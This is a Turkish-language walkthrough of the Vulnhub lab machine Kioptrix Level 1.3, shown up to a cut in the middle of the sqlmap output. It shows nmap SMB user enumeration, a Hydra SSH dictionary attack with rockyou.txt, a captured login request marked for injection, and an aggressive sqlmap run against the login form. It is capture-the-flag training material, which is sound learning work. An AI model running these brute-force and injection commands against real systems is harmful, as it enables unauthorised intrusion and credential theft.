Makine Hakkında Bilgiler
Açıklama:
It’s possible to remotely compromise the machine
Stays within the target audience of this site
Must be “realistic” (well kinda…)
Should serve as a refresher for me. Be it PHP or MySQL usage etc. Stuff I haven’t done in a while.
Vulnhub Sayfası:
https://www.vulnhub.com/entry/kioptrix-level-13-4%2C25/
İndirme Sayfası: https://download.vulnhub.com/kioptrix/Kioptrix4_vmware.rar
Walkthrough
İlk önce hedef makinenin ip adresini tespit ederek başlayalım.
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.250.140 netmask 255.255.255.0 broadcast 10.10.250.255
inet6 fe80::20c:29ff:fe4a:4d3f prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:4a:4d:3f txqueuelen 1000 (Ethernet)
RX packets 1269967 bytes 361940521 (345.1 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1294590 bytes 175984461 (167.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4419 bytes 1154848 (1.1 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4419 bytes 1154848 (1.1 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# arp-scan -l | grep 00:0c:29:ab:76:ef
10.10.250.143 00:0c:29:ab:76:ef VMware, Inc.
Nmap taraması ile devam edelim. İlk nmap taramasını gerçekleştirdikten sonra scriptleri kullanarak ikinci bir nmap taraması gerçekleştirdim. sbm üzerinden kullanıcı tespit etmeyi denedim ve başarılı oldum. İlk olarak sbm scritplerine nasıl ulaştığıma bakalım.
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# locate *.nse | grep smb | grep enum
/usr/share/nmap/scripts/smb-enum-domains.nse
/usr/share/nmap/scripts/smb-enum-groups.nse
/usr/share/nmap/scripts/smb-enum-processes.nse
/usr/share/nmap/scripts/smb-enum-services.nse
/usr/share/nmap/scripts/smb-enum-sessions.nse
/usr/share/nmap/scripts/smb-enum-shares.nse
/usr/share/nmap/scripts/smb-enum-users.nse
/usr/share/nmap/scripts/smb-mbenum.nse
Daha sonrasında smb-enum-users.nse scriptini seçtim.
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# nmap -p- -A --script=smb-enum-users.nse 10.10.250.143
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-22 20:04 EDT
Nmap scan report for 10.10.250.143
Host is up (0.00047s latency).
Not shown: 39528 closed ports, 26003 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:0C:29:AB:76:EF (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-enum-users:
| KIOPTRIX4\john (RID: 3002)
| Full name: ,,,
| Flags: Normal user account
| KIOPTRIX4\loneferret (RID: 3000)
| Full name: loneferret,,,
| Flags: Normal user account
| KIOPTRIX4\nobody (RID: 501)
| Full name: nobody
| Flags: Normal user account
| KIOPTRIX4\robert (RID: 3004)
| Full name: ,,,
| Flags: Normal user account
| KIOPTRIX4\root (RID: 1000)
| Full name: root
|_ Flags: Normal user account
TRACEROUTE
HOP RTT ADDRESS
1 0.47 ms 10.10.250.143
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.25 seconds
Hemen ilk işim olarak ssh servisine elde etmiş olduğum root, robert, nobody, loneferret, john kullanıcıları ile bir sözlük saldırısı gerçekleştirdim. Bunun gerçekleşmesi uzun süreceği için saldırıyı başlattım ve diğer alanlara bakmaya devam ettim.
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# hydra -L users -P /usr/share/wordlists/rockyou.txt ssh://10.10.250.143 -t 4 130 ⨯
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-05-22 20:09:25
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 71721995 login tries (l:5/p:14344399), ~17930499 tries per task
[DATA] attacking ssh://10.10.250.143:22/
80 portunda biraz gezinelim... Bir login sayfası ile karşılaştım ve hemen burp aracılığı ile http isteğini yakaladım. Daha sonrasında bu isteği sqlmap'e verdim.
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# cat istek.txt
POST /checklogin.php HTTP/1.1
Host: 10.10.250.143
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: http://10.10.250.143
Connection: close
Referer: http://10.10.250.143/
Upgrade-Insecure-Requests: 1
myusername=*&mypassword=*&Submit=Login
Şimdi sqlmap çıktısına bakalım.
┌──(root💀kali)-[/home/kali/oscp/kioptrix4]
└─# sqlmap -r istek.txt --level=5 --risk=3 --dbs --batch
___
__H__
___ ___[,]_____ ___ ___ {1.5.2#stable}
|_ -| . ['] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:14:28 /2021-05-22/
[20:14:28] [INFO] parsing HTTP request from 'istek.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[20:14:28] [INFO] testing connection to the target URL
[20:14:28] [INFO] testing if the target URL content is stable
[20:14:29] [INFO] target URL content is stable
[20:14:29] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[20:14:29] [WARNING] (custom) POST parameter '#1*' does not appear to be dynamic
[20:14:29] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#1*' might not be injectable
[20:14:29] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[20:14:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:14:29] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[20:14:29] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[20:14:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[20:14:30] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[20:14:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'
[20:14:30] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (comment)'
[20:14:30] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - comment)'
[20:14:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[20:14:30] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[20:14:31] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[20:14:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)'
[20:14:31] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)'
[20:14:31] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[20:14:31] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[20:14:31] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[20:14:32] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
[20:14:32] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
[20:14:32] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)'
[20:14:32] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)'
[20:14:33] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)'
[20:14:33] [INFO] testing 'PostgreSQL OR boolean-based blind - WHERE or HAVING clause (CAST)'
[20:14:33] [INFO] testing 'Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[20:14:34] [INFO] testing 'Oracle OR boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[20:14:34] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[20:14:34] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET)'
[20:14:34] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)'
[20:14:34] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT)'
[20:14:34] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT - original value)'
[20:14:34] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int)'
[20:14:34] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int - original value)'
[20:14:34] [INFO] testing 'PostgreSQL boolean-based blind - Parameter replace'
[20:14:34] [INFO] testing 'PostgreSQL boolean-based blind - Parameter replace (original value)'
[20:14:34] [INFO] testing 'PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES)'
[20:14:34] [INFO] testing 'PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES - original value)'
[20:14:34] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace'
[20:14:34] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)'
[20:14:34] [INFO] testing 'Oracle boolean-based blind - Parameter replace'
[20:14:34] [INFO] testing 'Oracle boolean-based blind - Parameter replace (original value)'
[20:14:34] [INFO] testing 'Informix boolean-based blind - Parameter replace'
[20:14:34] [INFO] testing 'Informix boolean-based blind - Parameter replace (original value)'
[20:14:34] [INFO] testing 'Microsoft Access boolean-based blind - Parameter replace'
[20:14:34] [INFO] testing 'Microsoft Access boolean-based blind - Parameter replace (original value)'
[20:14:34] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
[20:14:34] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL - original value)'
[20:14:34] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'
[20:14:34] [INFO] testing 'Boolean-based blind - Parameter replace (CASE - original value)'
[20:14:34] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[20:14:34] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[20:14:34] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[20:14:34] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[20:14:34] [INFO] testing 'PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause'
[20:14:34] [INFO] testing 'PostgreSQL boolean-based blind - ORDER BY clause (original value)'
[20:14:34] [INFO] testing 'PostgreSQL boolean-based blind - ORDER BY clause (GENERATE_SERIES)'
[20:14:34] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause'
[20:14:34] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause (original value)'
[20:14:34] [INFO] testing 'Oracle boolean-based blind - ORDER BY, GROUP BY clause'
[20:14:34] [INFO] testing 'Oracle boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[20:14:34] [INFO] testing 'Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause'
[20:14:34] [INFO] testing 'Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[20:14:34] [INFO] testing 'SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause'
[20:14:34] [INFO] testing 'SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[20:14:34] [INFO] testing 'IBM DB2 boolean-based blind - ORDER BY clause'
[20:14:34] [INFO] testing 'IBM DB2 boolean-based blind - ORDER BY clause (original value)'
[20:14:34] [INFO] testing 'HAVING boolean-based blind - WHERE, GROUP BY clause'
[20:14:34] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Stacked queries'
[20:14:35] [INFO] testing 'MySQL < 5.0 boolean-based blind - Stacked queries'
[20:14:35] [INFO] testing 'PostgreSQL boolean-based blind - Stacked queries'
[20:14:35] [INFO] testing 'PostgreSQL boolean-based blind - Stacked queries (GENERATE_SERIES)'
[20:14:35] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)'
[20:14:35] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Stacked queries'
[20:14:35] [INFO] testing 'Oracle boolean-based blind - Stacked queries'
[20:14:35] [INFO] testing 'Microsoft Access boolean-based blind - Stacked queries'
[20:14:35] [INFO] testing 'SAP MaxDB boolean-based blind - Stacked queries'
[20:14:35] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[20:14:36] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[20:14:36] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[20:14:36] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[20:14:37] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[20:14:37] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[20:14:37] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[20:14:38] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[20:14:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[20:14:38] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[20:14:38] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[20:14:39] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[20:14:39] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[20:14:39] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[20:14:39] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[20:14:40] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[20:14:40] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[20:14:40] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[20:14:40] [INFO] testing 'PostgreSQL OR error-based - WHERE or HAVING clause'
[20:14:40] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[20:14:41] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)'
[20:14:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT)'
[20:14:41] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONVERT)'
[20:14:42] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT)'
[20:14:42] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONCAT)'
[20:14:42] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[20:14:42] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (XMLType)'
[20:14:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
[20:14:43] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
[20:14:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[20:14:44] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[20:14:44] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)'
[20:14:44] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)'
[20:14:44] [INFO] testing 'Firebird AND error-based - WHERE or HAVING clause'
[20:14:45] [INFO] testing 'Firebird OR error-based - WHERE or HAVING clause'
[20:14:45] [INFO] testing 'MonetDB AND error-based - WHERE or HAVING clause'
[20:14:45] [INFO] testing 'MonetDB OR error-based - WHERE or HAVING clause'
[20:14:45] [INFO] testing 'Vertica AND error-based - WHERE or HAVING clause'
[20:14:46] [INFO] testing 'Vertica OR error-based - WHERE or HAVING clause'
[20:14:46] [INFO] testing 'IBM DB2 AND error-based - WHERE or HAVING clause'
[20:14:46] [INFO] testing 'IBM DB2 OR error-based - WHERE or HAVING clause'
[20:14:46] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[20:14:46] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[20:14:46] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[20:14:46] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[20:14:47] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[20:14:47] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[20:14:47] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[20:14:47] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[20:14:47] [INFO] testing 'PostgreSQL error-based - Parameter replace'
[20:14:47] [INFO] testing 'PostgreSQL error-based - Parameter replace (GENERATE_SERIES)'
[20:14:47] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'
[20:14:47] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)'
[20:14:47] [INFO] testing 'Oracle error-based - Parameter replace'
[20:14:47] [INFO] testing 'Firebird error-based - Parameter replace'
[20:14:47] [INFO] testing 'IBM DB2 error-based - Parameter replace'
[20:14:47] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)'
[20:14:47] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)'
[20:14:47] [INFO] testing 'MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)'
[20:14:47] [INFO] testing 'MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)'
[20:14:47] [INFO] testing 'MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)'
[20:14:47] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)'
[20:14:47] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML)'
[20:14:47] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)'
[20:14:47] [INFO] testing 'PostgreSQL error-based - ORDER BY, GROUP BY clause'
[20:14:47] [INFO] testing 'PostgreSQL error-based - ORDER BY, GROUP BY clause (GENERATE_SERIES)'
[20:14:47] [INFO] testing 'Microsoft SQL Server/Sybase error-based - ORDER BY clause'
[20:14:47] [INFO] testing 'Oracle error-based - ORDER BY, GROUP BY clause'
[20:14:47] [INFO] testing 'Firebird error-based - ORDER BY clause'
[20:14:47] [INFO] testing 'IBM DB2 error-based - ORDER BY clause'
[20:14:47] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Stacking (EXEC)'
[20:14:47] [INFO] testing 'Generic inline queries'
[20:14:47] [INFO] testing 'MySQL inline queries'
[20:14:47] [INFO] testing 'PostgreSQL inline queries'
[20:14:47] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[20:14:47] [INFO] testing 'Oracle inline queries'
[20:14:47] [INFO] testing 'SQLite inline queries'
[20:14:47] [INFO] testing 'Firebird inline queries'
[20:14:47] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[20:14:47] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[20:14:47] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[20:14:47] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[20:14:48] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[20:14:48] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[20:14:48] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[20:14:48] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[20:14:48] [INFO] testing 'PostgreSQL stacked queries (heavy query - comment)'
[20:14:48] [INFO] testing 'PostgreSQL stacked queries (heavy query)'
[20:14:48] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc - comment)'
[20:14:49] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc)'
[20:14:49] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[20:14:49] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (DECLARE - comment)'
[20:14:49] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[20:14:49] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (DECLARE)'
[20:14:49] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[20:14:50] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)'
[20:14:50] [INFO] testing 'Oracle stacked queries (heavy query - comment)'
[20:14:50] [INFO] testing 'Oracle stacked queries (heavy query)'
[20:14:50] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP - comment)'
[20:14:50] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP)'
[20:14:50] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP - comment)'
[20:14:50] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP)'
[20:14:50] [INFO] testing 'IBM DB2 stacked queries (heavy query - comment)'
[20:14:50] [INFO] testing 'IBM DB2 stacked queries (heavy query)'
[20:14:51] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[20:14:51] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
[20:14:51] [INFO] testing 'Firebird stacked queries (heavy query - comment)'
[20:14:51] [INFO] testing 'Firebird stacked queries (heavy query)'
[20:14:51] [INFO] testing 'SAP MaxDB stacked queries (heavy query - comment)'
[20:14:51] [INFO] testing 'SAP MaxDB stacked queries (heavy query)'
[20:14:52] [INFO] testing 'HSQLDB >= 1.7.2 stacked queries (heavy query - comment)'
[20:14:52] [INFO] testing 'HSQLDB >= 1.7.2 stacked queries (heavy query)'
[20:14:52] [INFO] testing 'HSQLDB >= 2.0 stacked queries (heavy query - comment)'
[20:14:52] [INFO] testing 'HSQLDB >= 2.0 stacked queries (heavy query)'
[20:14:52] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[20:14:52] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'
[20:14:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'
[20:14:53] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP)'
[20:14:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP - comment)'
[20:14:53] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)'
[20:14:54] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)'
[20:14:54] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment)'
[20:14:54] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[20:14:54] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'
[20:14:54] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query - comment)'
[20:14:55] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query - comment)'
[20:14:55] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
[20:14:55] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (comment)'
[20:14:55] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)'
[20:14:55] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)'
[20:14:56] [INFO] testing 'MySQL AND time-based blind (ELT)'
[20:14:56] [INFO] testing 'MySQL OR time-based blind (ELT)'
[20:14:56] [INFO] testing 'MySQL AND time-based blind (ELT - comment)'
[20:14:56] [INFO] testing 'MySQL OR time-based blind (ELT - comment)'
[20:14:57] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[20:14:57] [INFO] testing 'PostgreSQL > 8.1 OR time-based blind'
[20:14:57] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind (comment)'
[20:14:57] [INFO] testing 'PostgreSQL > 8.1 OR time-based blind (comment)'
[20:14:57] [INFO] testing 'PostgreSQL AND time-based blind (heavy query)'
[20:14:58] [INFO] testing 'PostgreSQL OR time-based blind (heavy query)'
[20:14:58] [INFO] testing 'PostgreSQL AND time-based blind (heavy query - comment)'
[20:14:58] [INFO] testing 'PostgreSQL OR time-based blind (heavy query - comment)'
[20:14:58] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[20:14:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF - comment)'
[20:14:59] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)'
[20:14:59] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heavy query)'
[20:14:59] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query - comment)'
[20:14:59] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heavy query - comment)'
[20:15:00] [INFO] testing 'Oracle AND time-based blind'
[20:15:00] [INFO] testing 'Oracle OR time-based blind'
[20:15:00] [INFO] testing 'Oracle AND time-based blind (comment)'
[20:15:00] [INFO] testing 'Oracle OR time-based blind (comment)'
[20:15:00] [INFO] testing 'Oracle AND time-based blind (heavy query)'
[20:15:01] [INFO] testing 'Oracle OR time-based blind (heavy query)'
[20:15:01] [INFO] testing 'Oracle AND time-based blind (heavy query - comment)'
[20:15:01] [INFO] testing 'Oracle OR time-based blind (heavy query - comment)'
[20:15:01] [INFO] testing 'IBM DB2 AND time-based blind (heavy query)'
[20:15:02] [INFO] testing 'IBM DB2 OR time-based blind (heavy query)'
[20:15:02] [INFO] testing 'IBM DB2 AND time-based blind (heavy query - comment)'
[20:15:02] [INFO] testing 'IBM DB2 OR time-based blind (heavy query - comment)'
[20:15:02] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[20:15:02] [INFO] testing 'SQLite > 2.0 OR time-based blind (heavy query)'
[20:15:03] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query - comment)'
[20:15:03] [INFO] testing 'SQLite > 2.0 OR time-based blind (heavy query - comment)'
[20:15:03] [INFO] testing 'Firebird >= 2.0 AND time-based blind (heavy query)'
[20:15:03] [INFO] testing 'Firebird >= 2.0 OR time-based blind (heavy query)'
[20:15:04] [INFO] testing 'Firebird >= 2.0 AND time-based blind (heavy query - comment)'
[20:15:04] [INFO] testing 'Firebird >= 2.0 OR time-based blind (heavy query - comment)'
[20:15:04] [INFO] testing 'SAP MaxDB AND time-based blind (heavy query)'
[20:15:04] [INFO] testing 'SAP MaxDB OR time-based blind (heavy query)'
[20:15:05] [INFO] testing 'SAP MaxDB AND time-based blind (heavy query - comment)'
[20:15:05] [INFO] testing 'SAP MaxDB OR time-based blind (heavy query - comment)'
[20:15:05] [INFO] testing 'HSQLDB >= 1.7.2 AND time-based blind (heavy query)'
